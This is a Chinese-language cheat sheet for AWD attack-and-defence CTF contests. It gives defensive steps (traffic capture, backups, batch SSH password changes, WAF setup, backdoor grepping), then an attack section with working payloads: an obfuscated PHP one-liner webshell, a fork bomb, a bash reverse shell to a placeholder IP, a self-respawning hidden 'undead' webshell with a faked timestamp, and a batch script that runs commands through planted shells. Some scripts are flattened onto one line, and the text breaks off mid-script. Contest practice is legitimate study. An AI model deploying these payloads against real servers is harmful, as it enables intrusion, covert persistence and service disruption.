AWD 总结&分析
一:题目类型
1-出题人自己写的cms,为了恶心然后加个so。
2-常见或者不常见的cms。
3-一些框架漏洞,比如ph师傅挖的CI这种
二:题目漏洞类型
1-sqli居多
2-文件包含
3-各种rce
4-文件上传
三:拿flag方式
1-是向内网一台机器发送http请求,返回请求中包含flag。
2-是例如/home目录下放置flag文件。
四.防御
1.流量
sudo tcpdump -s 0 -w flow.pcap port 80
2.日志分析
日志地址
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
3.打包源码&备份数据库
# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
tar -zcvf back.tar.gz /var/www/html
# 解包
tar -zxvf archive_name.tar.gz
# 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
# 恢复备份,在mysql终端下执行:
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密码
# 方法1:用SET PASSWORD命令
mysql> set password for 用户名@localhost = password('新密码');
# 方法2:用mysqladmin
mysqladmin -u用户名 -p旧密码 password 新密码
4.重置ssh密码
登陆后一个passwd
就可以
但其实还是有脚本的
比如批量改默认密码
#!/usr/bin/python
#-*-coding:utf-8-*-
import paramiko
import socket
def userssh_changepwd(ip,user,old_password,new_password):
# 建立一个sshclient对象
ssh = paramiko.SSHClient()
# 允许将信任的主机自动加入到host_allow 列表,此方法必须放在connect方法的前面
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=ip, port=22, username=user, password=old_password,timeout=5)
stdin, stdout, stderr = ssh.exec_command("ls ~")
s=str(stdout.read(),'utf-8')
for i in s.split('\n'):
if("flag" in i):
command1="cat ~/%s" %(i.strip())
stdin, stdout, stderr = ssh.exec_command(command1)
flag=str(stdout.read(),'utf-8')
print("%s-%s" %(ip,flag.strip()))
command = "passwd %s\n" %(user)
stdin, stdout, stderr = ssh.exec_command(command)
#\n模拟回车 输两次密码
stdin.write(old_password+'\n'+ new_password + '\n' + new_password + '\n')
out, err = stdout.read(), stderr.read()
#print(out)
successful = 'password updated successfully'
#print(out,err)
if successful in str(err):
print(ip + " 密码修改成功!")
else:
print('\033[31m错误:\033[0m' + str(err))
print(ip + " 密码修改失败!")
# 关闭连接
ssh.close()
except paramiko.ssh_exception.AuthenticationException as e:
print(ip + ' ' + '\033[31m账号密码错误!\033[0m')
with open('nossh.txt','a') as f:
f.write(ip + '\n')
except socket.timeout as e:
print(ip + ' ' + '\033[31m连接超时!\033[0m')
with open('timeoutssh','a') as f:
f.write(ip + '\n')
user="bee"
old_passwd="xbwkaliwin2003"
new_passwd="xbwkaliwin2008"
with open('ip.txt','r') as f:
for i in f.readlines():
host=i.strip()
userssh_changepwd(host, user, old_passwd, new_passwd)
5.部署waf
whatchwaf
说明:
下载最新release
将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行
php watchbird.php --install [Web目录]
, 安装器将输出安装了watchbird的文件路径访问任意启用了waf的文件, 参数
?watchbird=ui
打开watchbird控制台, 创建一个初始密码如需卸载, 请在相同的位置输入
php watchbird.php --uninstall [Web目录]
, 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
ps:由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)ps:php7应该不支持,不要放到root目录下(awd模式下也不会有root权限)要放在对应网页权限的目录下(默认网页权限是www-data)比如/var/www/目录
6.查找后门
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
7.查找关键文件
#备份文件
find / -name "*.bak"
#config文件
find / -name "config.*"
查找flag的位置
find / -name *flag*
查找password
find .|xargs grep "password"
查看以建立的连接和进程
netstat -antulp | grep EST
结束进程
kill PID
killall <进程名>
检测TCP连接数量
netstat -ant|awk|grep |sed -e-e |sort|uniq -c|sort -rn
chattr命令防止系统中某个关键文件被修改
chattr +i /etc/resolv.conf
流量监控
当别人访问我们靶机时请求的URL可能就是攻击的payload,我们如果知道他们的请求就可以利用他们的手段来反打过去,这个基于流量监控来实现,一个简单的脚本如下:
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
8.干掉不死马
(1).ps auxww|grep shell.php
找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
(2).重启php等web服务
(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
(4).创建一个和不死马生成的马一样名字的文件夹。
9.关闭不必要端口
一些端口会存在漏洞,为了保证安全我们关闭一些不必要的端口来进行维护:
五.攻击
1.crontab自动提交flag到平台
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
记得改token和目录
crontab路径/var/spool/cron
2.扫描主机
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24
3.混淆过的一句话
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置填`n985de9=QGV2YWwoJF9QT1NUWzBdKTs=`
连接密码:0(零)
5.查看出题者后来改动的地方(一般漏洞是改出来的)
ls -t按修改时间来看最新被修改的文件
4.fork炸弹(直接摧毁服务器)
:() { :|: & };:
————恢复内容结束————
5.弱口令
当发现靶机存在弱口令后,我们就可以遍历IP地址来查询存活的机器来自动连接查找FLAG,或者在受害者靶机里植入后门文件来维持我们的控制。
6.自带后门
通常靶机会有自带的后门木马,我们知道路径后便可以写一个脚本批量连接来提交FLAG。
7.WEB攻击
举几个比较常见的WEB攻击方式:
文件读取,伪协议方式读取flag
文件上传,绕过黑白名单上传一句话,用工具连接查找flag
命令执行,通过system等函数来遍历文件
SQL注入,寻找注入点注出flag
当我们找到上面漏洞后,尽量去写一个脚本来自动提交flag,之后再去寻找其他漏洞。
8.写入木马
因为AWD赛制是回合制,所以我们要想保持长时间稳定上分就要时刻控制别人靶机,也就是要传入木马但又不能被对手发现,下面列举几个权限维持的小技巧。
bash反弹shell
利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,nc反弹shell命令如下:
bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1
nc -l -p 8080
注意: 使用bash命令,会在root目录生成名为~/.bash_history的记录文件,我们要清除来消除威胁。
不死马
一个简单的不死马:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-10-21 04:17:18" .config.php');
usleep(5000);
}
?>
不死马的作用就是将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为.config.php的不死马隐藏文件。以此来达到权限维持。
六.提交脚本
比赛中可能会有几十台靶机,尽管我们知道了如何攻击,但一个一个打似乎有一些太慢了,所以这时我们要利用脚本去批量提交解放双手。这里就在网上找了几个常用的:
预留后门利用脚本:
import requests
url_head="http://xxx.xx.xxx."#网段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx"#木马密码
port="80"
payload ={passwd: 'system('cat /flag');'}
webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")
for i in range(30,61):url=url_head+str(i)+":"+port+shell_addrtry:res=requests.post(url,payload,timeout=1)if res.status_code == requests.codes.ok:result = url+" connect shell sucess,flag is "+res.textprint resultprint >>flag,resultprint >>webshelllist,url+","+passwdelse:print "shell 404"except:print url+" connect shell fail"
webshelllist.close()
flag.close()
批量提交flag脚本(需根据要求自行修改):
```
import sys
import json
import urllib
import httplib
server_host = ‘ ‘#提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):if not team_token or not flag:raise Exception(‘team token or flag wrong’)conn = httplib.HTTPConnection(host, port, timeout=timeout)params = urllib.urlencode(